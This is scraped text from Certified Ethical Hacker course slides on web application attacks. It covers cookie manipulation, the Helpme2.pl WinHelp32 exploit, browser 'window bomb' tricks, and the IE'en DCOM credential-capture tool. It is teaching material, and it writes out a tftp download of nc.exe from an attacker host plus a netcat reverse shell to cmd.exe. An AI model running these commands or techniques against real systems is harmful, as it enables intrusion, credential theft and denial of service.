Staf of EC-Council - Ethical Hacking Student Courseware. Certidied Ethical Hacker-Exam 312-50 (EC-Council E-Business Certification Series)
domain: The website domain that created and that can read the variable.
flag: A TRUE/FALSE value indicating whether all machines within a given domain can access the variable.
path : The path attribute supplies a URL range for which the cookie is valid. If path is set to /reference, the cookie will be sent for URLs in /reference as well as sub-directories such as/reference/web protocols. A pathname of "/" indicates that the cookie will be used for all URLs at the site from which the cookie originated.
secure: A TRUE/FALSE value indicating if an SSL connection with the domain is needed to access the variable.
expiration: The time that the variable will expire on. Omitting the expiration date signals to the browser to store the cookie only in memory; it will be erased when the browser is closed.
name : The name of the variable (in this case Apache).
The limit on the size of each cookie (name and value combined) is 4 kb. A maximum of 20 cookies per server or domain is allowed.
Cookies are the preferred method to maintain state in HTTP protocol. They are however also used as a convenient mechanism to store user preferences and other data including session tokens. Both persistent and non-persistent cookies, secure or insecure can be modified by the client and sent to the server with URL requests . Therefore any attacker can modify cookie content to his advantage. There is a popular misconception that non-persistent cookies cannot be modified but this is not true; tools like Winhex are freely available. SSL also only protects the cookie in transit.
The extent of cookie manipulation depends on what the cookie is used for but usually ranges from session tokens to arrays that make authorization decisions.
Example from a real world example
Cookie: lang=en-us; ADMIN=no; y=1; time=10:30GMT;
The attacker can simply modify the cookie to;
Cookie: lang=en-us; ADMIN=yes; y=1; time=12:30GMT;
| |
-
Helpme2.pl is an exploit code for WinHelp32.exe Remote Buffer Overrun vulnerability.
-
This tool generates an HTML file with a given hidden command.
-
When this HTML file is sent to a victim through e mail, it infects the victim's computer and executes the hidden code.
| |
| Tools | Helpme2.pl is an exploit code written to take advantage of the winhelp32.exe vulnerability. The perl script takes a command to execute (WinExec, SW_HIDE) and gives an html output file. There are two versions |
HelpMe.pl was written to work with kernel32.dll version 5.0.2195.4272, while HelpMe2.pl was written to work with kernel32.dll version 5.0.2195.2778
The exploit does the following:
-
Executes tftp.exe-i attacker.ip.address get nc.exe c: \winnt\system32\nc.exe
-
Executes nc.exe attacker.ip.address 80-e cmd.exe
This code generates an HTML file with a given hidden command. When the HTML file is sent to a victim through email, it infects the victim's computer and executes the hidden code.
| |
An email sent with this html file attached will create pop-up windows until the PC's memory gets exhausted.
JavaScript is vulnerable to simple coding such as this.
| |
| Tools | Window bombs are code written to cause annoying behavior on the user's computer screen. These can be such as the ones seen include: |
| Deadly image | A. GIF which crashes the browser on clicking. |
| Uncloseable window | Opens a document that utilizes the JavaScript Unload event handler to reopen the document if you try to leave or close the window. |
| Invincible alert dialogue | Executes a function which generates an alert dialogue and then runs the function again |
| Reload-o-rama | Refreshes the document from the history 1000 times/second, leaving the back and stop buttons useless. |
| Window spawner | Continuously opens new windows until the ram or swap space is full. |
| Jiggy window | Causes the window to dance around on the screen so fast that the controls cannot be reached. |
| Jiggy window spawner | Creates and endless stream of little dancing windows. |
| While loop processor hog | executes an endless loop to chew up some processor time |
| Recursive frames | Opens a set of recursive frames until the ram or swap space is full. |
| Memory bomb | Dynamically allocates ram to the browser until the ram or swap space is full. |
| Super memory bomb | Opens a 100K document with numerous recursive tables and ordered lists. |
| |
http://www.securityfriday.com/ToolDownload/IEen
-
IEEN remotely controls Internet Explorer using DCOM.
-
If you knew the account name and the password of a remote machine, you can remotely control the software component on it using DCOM. For example Internet Explorer is one of the soft wares that can be controlled.
| |
| Tools | IEEN: The Distributed Component Object Model (DCOM) is a protocol that enables software components to communicate directly over a network in a reliable, secure, and efficient manner. DCOM is installed on most Windows machines by default and runs without noticed by the users. |
However, if an attacker knew the account name and the password of a remote machine, he can remotely control the software component on it using DCOM. For example, Internet Explorer is one of the software components that can be controlled. IE'en is a tool that can be used to remotely control Internet Explorer using DCOM.
Summary of IE'en Functionalities:
-
Remotely connects to or activates Internet Explorer
-
Captures data sent and received using Internet Explorer
-
Even on SSL encrypted websites (e.g. Hotmail); IE'en can capture user ID and password in plain text.
-
Change the web page on the remote IE window.
-
Make the remote IE window visible / invisible
| |
-
Attacking web applications is the easiest way to compromise hosts , networks and users.
-
Generally nobody notices web application penetration, until serious damage has been done.
-
Web application vulnerability can be eliminated to a great extent ensuring proper design specifications and coding practices as well as implementing common security procedures.
-
Various tools help the attacker to view the source codes and scan for security holes.
-
The first rule in web application development from a security standpoint is not to rely on the client side data for critical processes. Using an encrypted session such as SSL / "secure" cookies are advocated instead of using hidden fields, which are easily manipulated by attackers .
-
A cross-site scripting vulnerability is caused by the failure of a web based application to validate user supplied input before returning it to the client system.
-
If the application accepts only expected input, then the XSS can be significantly reduced.
| |